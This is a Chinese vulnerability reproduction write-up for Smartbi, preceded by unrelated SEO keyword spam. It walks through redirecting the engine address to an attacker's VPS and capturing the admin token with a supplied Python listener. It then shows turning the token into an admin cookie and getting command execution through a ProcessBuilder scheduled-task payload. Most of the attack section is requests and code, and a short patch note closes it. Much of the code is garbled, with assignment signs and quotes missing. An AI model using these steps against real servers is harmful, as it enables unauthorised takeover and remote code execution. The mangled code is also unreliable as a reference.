网站开发项目安排,邢台信息港聊天室,asp.net网站开发文档,做个网站找别人做的吗0x01 产品简介 Smartbi大数据分析产品融合BI定义的所有阶段#xff0c;对接各种业务数据库、数据仓库和大数据分析平台#xff0c;进行加工处理、分析挖掘和可视化展现#xff1b;满足所有用户的各种数据分析应用需求#xff0c;如大数据分析、可视化分析、探索式分析、复杂…0x01 产品简介 Smartbi大数据分析产品融合BI定义的所有阶段对接各种业务数据库、数据仓库和大数据分析平台进行加工处理、分析挖掘和可视化展现满足所有用户的各种数据分析应用需求如大数据分析、可视化分析、探索式分析、复杂报表、应用分享等等。
0x02 漏洞概述 Smartbi在特定情况下可被获取用户token未经授权的攻击者可通过这种方式获取管理员权限从而以管理员权限接管后台进一步利用可实现任意代码执行。利用此漏洞需目标可出网。
0x03 影响范围 V6 Smartbi V10
0x04 复现环境
FOFAappSMARTBI 0x05 漏洞复现 更新内部引擎地址
POST /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1
Host: your-ip
Content-Type: application/jsonhttp://vpsip:8000 PS:有的环境url不一样区别在于有没有多一层“/smartbi” 目录自行根据实际环境测试如下 验证地址更新的情况
POST /smartbi/smartbix/api/monitor/engineInfo HTTP/1.1
Host: your-ip
Content-Type: application/json 发送管理员token到vps(不能使用nc监听由于nc监听或者返回的值不是json格式导致报错获取的token没被存入对应的变量中无法进行绕过所以需要手动编写⼀个http服务用于监听返回的数据为任意json格式)
脚本
import json
from http.server import BaseHTTPRequestHandler, HTTPServerclass RequestHandler(BaseHTTPRequestHandler):def do_POST(self):content_length int(self.headers[Content-Length])post_data self.rfile.read(content_length).decode(utf-8)print(fReceived data: {post_data})# 解析post_data并构建要返回的JSON数据data json.loads(post_data)response {message: Data received successfully}# 设置响应头和状态码self.send_response(200)self.send_header(Content-type, application/json)self.end_headers()# 将JSON数据转换为字节流并发送回客户端self.wfile.write(json.dumps(response).encode(utf-8))def run_server():server_address (, 8000)httpd HTTPServer(server_address, RequestHandler)print(Server is running...)httpd.serve_forever()if __name__ __main__:run_server()
原理使用http.server模块来创建一个基于HTTP协议的服务器。它监听本地的8000端口并在收到POST请求时将请求体中的数据解析为JSON格式。然后构建一个包含成功消息的JSON响应并将其发送回客户端。
开启监听发送token POST /smartbi/smartbix/api/monitor/token HTTP/1.1
Host: your-ip
Content-Type: application/jsonexperiment 利用管理员token 获取登录后的cookie
POST /smartbi/smartbix/api/monitor/login HTTP/1.1
Host: your-ip
Content-Type: application/json获取到的管理员token PS必须是truefalse不管用
替换cookie接管后台 替换完刷新页面即可 后利用思路计划任务RCE
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
importPackage(Packages.smartbi.repository);
importPackage(Packages.smartbi.util);
importPackage(Packages.java.util);builder new ProcessBuilder();
builder.command(sh, -c, 执行的命令);
builder.directory(new File(System.getProperty(user.home)));
process builder.start();
0x06 修复建议
临时缓解方案
通过网络ACL策略限制访问来源例如只允许来自特定IP地址或地址段的访问请求。
升级修复方案
目前官方已发布补丁建议受影响用户尽快更新至 2023-07-28 安全补丁包
https://www.smartbi.com.cn/patchinfo